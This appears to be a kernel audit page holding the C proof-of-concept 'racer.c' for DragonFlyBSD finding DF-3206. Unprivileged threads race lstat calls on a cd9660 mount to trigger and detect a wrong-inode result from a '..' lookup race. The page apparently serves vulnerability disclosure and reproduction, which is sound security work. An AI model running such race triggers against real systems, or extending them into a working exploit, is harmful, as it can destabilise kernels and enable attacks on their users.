⬢ DragonFlyBSD Kernel Audit
DF-3206 / racer.c
← back to finding ↓ download raw
/*
 * DF-3206 racer: two unprivileged threads hammering the same cd9660
 * directory to exploit the vn_unlock -> dp->i_ino read window in
 * cd9660_lookup CNP_ISDOTDOT (cd9660_lookup.c:343-345).
 *
 * Thread A: lstat("<mp>/DIR/..") in a tight loop; the correct result is
 *           always the ROOT directory inode (mode dr-xr-xr-x, ino ==
 *           stat("<mp>").st_ino).  Any deviation (different ino or a
 *           non-directory type) is a race hit.
 * Threads B/C: lstat existing entries inside DIR (scanning mutates
 *           dp->i_ino per entry) and unique nonexistent names (namecache
 *           churn to keep forcing real VOP_LOOKUPs).
 *
 * usage: racer <mp> <seconds>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>

static volatile int stop;
static long a_iters, a_hits, b_iters;
static ino_t root_ino, dir_ino;
static char mp[256];

static void *thread_a(void *arg)
{
	char path[512];
	struct stat st;
	(void)arg;
	snprintf(path, sizeof(path), "%s/DIR/..", mp);
	while (!stop) {
		if (lstat(path, &st) == 0) {
			a_iters++;
			if (st.st_ino != root_ino ||
			    !S_ISDIR(st.st_mode)) {
				a_hits++;
				printf("HIT: lstat(DIR/..) -> ino %ju (root %ju, "
				       "DIR %ju) mode %06o (iter %ld hit %ld)\n",
				       (uintmax_t)st.st_ino,
				       (uintmax_t)root_ino,
				       (uintmax_t)dir_ino,
				       st.st_mode, a_iters, a_hits);
				fflush(stdout);
			}
		}
	}
	return NULL;
}

static void *thread_b(void *arg)
{
	char path[512];
	struct stat st;
	int id = (int)(intptr_t)arg;
	long k = id;
	(void)arg;
	while (!stop) {
		snprintf(path, sizeof(path), "%s/DIR/E%02ld", mp, k % 64);
		if (lstat(path, &st) == 0)
			b_iters++;
		k++;
		/* unique nonexistent short names: churn the namecache */
		snprintf(path, sizeof(path), "%s/DIR/q%07ld", mp, k);
		lstat(path, &st);
	}
	return NULL;
}

int main(int argc, char **argv)
{
	pthread_t ta, tb[2];
	struct stat st;
	int secs;
	char p[512];

	if (argc != 3) {
		fprintf(stderr, "usage: racer <mountpoint> <seconds>\n");
		return 2;
	}
	snprintf(mp, sizeof(mp), "%s", argv[1]);
	secs = atoi(argv[2]);

	snprintf(p, sizeof(p), "%s", mp);
	if (stat(p, &st))
		{ perror("stat mp"); return 2; }
	root_ino = st.st_ino;
	snprintf(p, sizeof(p), "%s/DIR", mp);
	if (stat(p, &st))
		{ perror("stat DIR"); return 2; }
	dir_ino = st.st_ino;
	printf("root ino %ju, DIR ino %ju; racing %ds\n",
	       (uintmax_t)root_ino, (uintmax_t)dir_ino, secs);

	pthread_create(&ta, NULL, thread_a, NULL);
	pthread_create(&tb[0], NULL, thread_b, (void *)0);
	pthread_create(&tb[1], NULL, thread_b, (void *)32);
	sleep(secs);
	stop = 1;
	pthread_join(ta, NULL);
	pthread_join(tb[0], NULL);
	pthread_join(tb[1], NULL);
	printf("done: a_iters=%ld a_hits=%ld b_iters=%ld\n",
	       a_iters, a_hits, b_iters);
	return (a_hits > 0) ? 0 : 1;
}